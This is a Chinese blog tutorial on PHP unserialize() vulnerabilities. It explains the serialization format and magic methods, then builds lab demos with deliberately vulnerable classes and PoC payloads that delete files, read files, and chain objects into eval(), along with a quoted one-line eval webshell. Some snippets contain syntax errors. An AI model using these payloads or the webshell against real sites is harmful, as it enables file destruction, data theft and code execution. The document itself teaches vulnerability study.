PHP反序列化漏洞原理概述-FIRST

PHP反序列化漏洞

1.产生背景

反序列化漏洞第一次众人皆知在2015年11月6日,最初出现在JAVA语言中,FoxGlove Security安全团队的Breenmachine发表了一篇博客,里面详细阐述了利用JAVA反序列化和Apache Commons Collections类库实现远程命令执行的真实案例,之后围绕着反序列化漏洞事件层出不穷,同时也出现在其他的语言中。

2.序列化与反序列化

在百度百科词条解释中,序列化 (Serialization) 是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

反序列化(Unserialization) 是与序列化的反过程,是将存储区的序列化的对象信息,文本结构,转换为原来的变量。

  • 意义:序列化与反序列化可以轻松的存储和传输数据,我们可以把对象序列化为不同的格式,JSON、XML、二进制、SOAP等,不同的格式是为了适应不同的业务需求
  • 什么时候使用序列化?
    1.将内存中的类写入文件或者数据库中
    2.递归保存对象引用的每个对象数据
    3.分布式对象
    4.统一对文件、对象、数据保存和传输

3.PHP的序列化与反序列化

  • PHP序列化函数为Serialize,将对象转换为字符串保存对象的变量及变量值。

  • PHP的反序列化函数为unserialize,将序列化后的字符串转换为对象。

先看一个简单的PHP代码

//1.php
<?php
	class student //创建一个student类
	{
		public $name=''; //定义公有变量
		public $age=''; //定义公有变量
		public function talk() //定义公有函数
		{
			echo 'I am '.$this->name.', '.$this->age.' years old !</br>';
		}
	}
	$pr=new student(); //创建对象
	$pr->name='BYF'; //对象赋初值
	$pr->age='20'; //对象赋初值
	$pr->talk(); //调用公有函数
?>

执行结果
在这里插入图片描述

(1).序列化操作

将对象进行序列化操作,输出

//1.php+
$ser=serialize($pr);
echo $ser;

在这里插入图片描述

O:7:"student":2:{s:4:"name";s:3:"BYF";s:3:"age";s:2:"20";}

如上所示为PHP序列化函数,将对象序列化后的形成的字符串

序列化字符串解析:

  • O: 对象标识
  • 7: 表示该对象的字符串长度
  • student: 对象
  • 2:{} : 表示该对象有两个变量,在{}中定义。
  • s: 第一个变量名标识
  • 4: 第一个变量名字符串长度
  • name: 第一个变量名
  • s: 第一个变量标识
  • 3: 第一个变量字符串长度
  • BYF: 第一个变量的值
  • s: 第二个变量名标识
  • 3: 第二个变量名字符串长度
  • age: 第二个变量名
  • s: 第二个变量标识
  • 2: 第二个变量字符串长度
  • 20: 第二个变量的值

(2).反序列化操作

注:在反序列化操作中可以重新定义变量的值

//1.php++
	$unser=unserialize($ser); //将序列化后形成的字符串发序列化
	$unser->name='bianyufei'; //反序列化时可进行重新赋值操作
	$unser->talk(); //调用公有函数

反序列化结果
在这里插入图片描述

4.PHP的魔法函数(析构函数)

PHP中有一些函数可以在脚本的任何地方执行,且不需要声明就可以调用,但是存在触发条件,这类函数就被称为PHP 魔法函数

下面是与PHP序列化(反序列化)有关的魔法函数。

__construct() 当一个对象创建时被调用
__destruct() 当对象被销毁时触发
__wakeup() 当使用unserialize函数时被触发
__sleep() 当使用serialize函数时被触发
__toString() 把类当做字符串使用时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或者empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

由于序列化不会传递函数中定义的操作,只传值,所以在自定义函数无法利用。

但是魔法函数是可以自动执行的,当类中定义了魔法函数时,且对象中存在触发条件,我们就有机可乘。

5.反序列化漏洞

PHP反序列化漏洞,是我们在使用unserialize()函数进行反序列化时,当反序列化对象中存在一些我们可以利用魔法函数,且传入的变量是可控的,那么就可能触发这个魔法函数,来执行我们想要的过程。

(1).原理demo

__destruct()函数: 在对象被销毁时执行该函数

//原理demo
<?php
class demo
{
    	public $a='demo';
     	function  __destruct()
      {
      echo $this->a;
      echo '</br>';
     	}
}
$ob= new demo();
echo serialize($ob).'</br>';
$test= $_GET['id']; 
unserialize($test);
?>        
  • payload
    demo通过GET方式传值
http://10.102.51.143/demo.php?id=O:4:"demo":1:{s:1:"a";s:4:"1234";}

在这里插入图片描述
我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。

(2).demo1-删除

unlink() 函数: 删除文件,若成功,则返回 true,失败则返回 false。
dirname() 函数: 返回路径中的目录部分
dirname(__FILE__)函数:表示当前文件绝对路径

//2.php
<?php
class delete
{
	public $filename='error';
	function __destruct()
	{
		echo $this->filename." was deleted.</br>" 
		//UPLINK函数是删除文件,dirname函数输出路径
		unlink(dirname(__FILE__).'/'.$this->filename);
	}
}
?>

3.php中包含了2.php,当unserialize()函数执行时,触发了2.php中的 __destruct() 函数,执行了删除文件的操作。

//3.php
<?php
include '2.php'
class student
{
	public $name='';
	public $age='';
	public function information()
	{
		echo 'student:'.$this->name.'is'.$this->age.'years old.</br>';
	}
$zs=unserialize($_GET['id']); 
//$zs变量并不是student类的对象,所以并没有必要通过GET传入的值为两个变量的形式,只要存在该反序列化操作,就可以触发2.php中的魔法函数
}
?>

构造payload

//POC.php
<?php
//复制delete类序列化内容
class delete
{
	public $filename='error';
}
$x= new delete(); //创建对象
echo serialize($x).'</br>';
?>

下图为POC.php执行后形成的序列化的值
在这里插入图片描述
将该值复制后通过GET传入3.php,通过unserialize()函数销毁对象触发了 2.php中的 __destruct()函数中定义的删除文件的操作。

注: 由于在3.php中,student类为2个公有变量,且需自定义filename为要删除的文件名,在此处可以自己定义修改序列化的值

如下所示
可以自定义要删除的文件为muma.txt

O:6:"delete":2:{s:8:"filename";s:8:"muma.txt";}

在这里插入图片描述

(3).demo2-读文件

__toString()函数: 把类当做字符串使用时触发,也就是使用echo打印对象时触发该函数。

file_get_contents()函数: 将一个文件读入一个字符串中

//4.php
<?php
  class read
	{
  	public $filename = 'error';
    function __toString()
    {  
      //file_get_contents()函数是把文件内容赋予一个变量,通过return
      return file_get_contents($this->filename);
    }
	}
?>

5.php中包含了4.php,5.php中unserialize()函数执行后赋给一个变量,当该变量被打印输出时,触发了4.php中的 __toString()函数

//5.php
<?php
  include '4.php';
	class student
  {
   public $name='BYF';
   public $age='20';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
echo $zs;
?>

构造payload

//poc2.php
<?php
	class read
	{
		public $filename='error';
	}
$byf=new read();
$byf->filename='hello.txt';
echo serialize($byf);
?>

下图为POC2.php执行后形成的序列化的值
在这里插入图片描述
将该值复制后通过GET传入5.php,通过unserialize()函数反序列化后将值重新赋给一个变量,echo打印输出, 触发了 4.php中的 __toString()函数 中定义的读文件的操作。

首先我们先创建一个hello.txt文档
在这里插入图片描述
在这里插入图片描述

(4).demo3-普通方法漏洞

调用问题中产生的漏洞eval()为危险函数,将()内的值做为命令执行

//6.php <?php @eval($_POST['a']);?> a='phpinfo()'
<?php
	class a
	{
		public $varr;
		function __destruct()
		{
			$this->varr->evaltest();
		}
	}
	class b
	{
		public $str;
		function evaltest()
		{
			eval($this->str); //危险函数
		}
	}
	unserialize($_GET['id']);
?>
//poc3.php
<?php
	class a
	{
		public $varr='new b()';
	}
	class b
	{
		public $str='phpinfo()';
	}
	$x=new a();
	echo serialize($x).'</br>';
	$y=new b();
	echo serialize($y);
?>

poc3.php运行结果如下图
在这里插入图片描述
原理分析
在这里插入图片描述
原理分析清楚了,还要进行触发操作,在poc中定义了unserialize()反序列化函数,可以触发a类中的 __destruct()函数 ,通过GET传参。
我们需将poc中序列化后形成的字符串进行变化,将varr定义为b类的对象

O:1:"a":1:{s:4:"varr";s:7:"new b()";}
O:1:"b":1:{s:3:"str";s:9:"phpinfo()";}

转化为

O:1:"a":1:{s:4:"varr";O:1:"b":1:{s:3:"str";s:10:"phpinfo();";};}

通过GET传递,得到phpinfo()的执行结果,获取到了php版本信息
在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章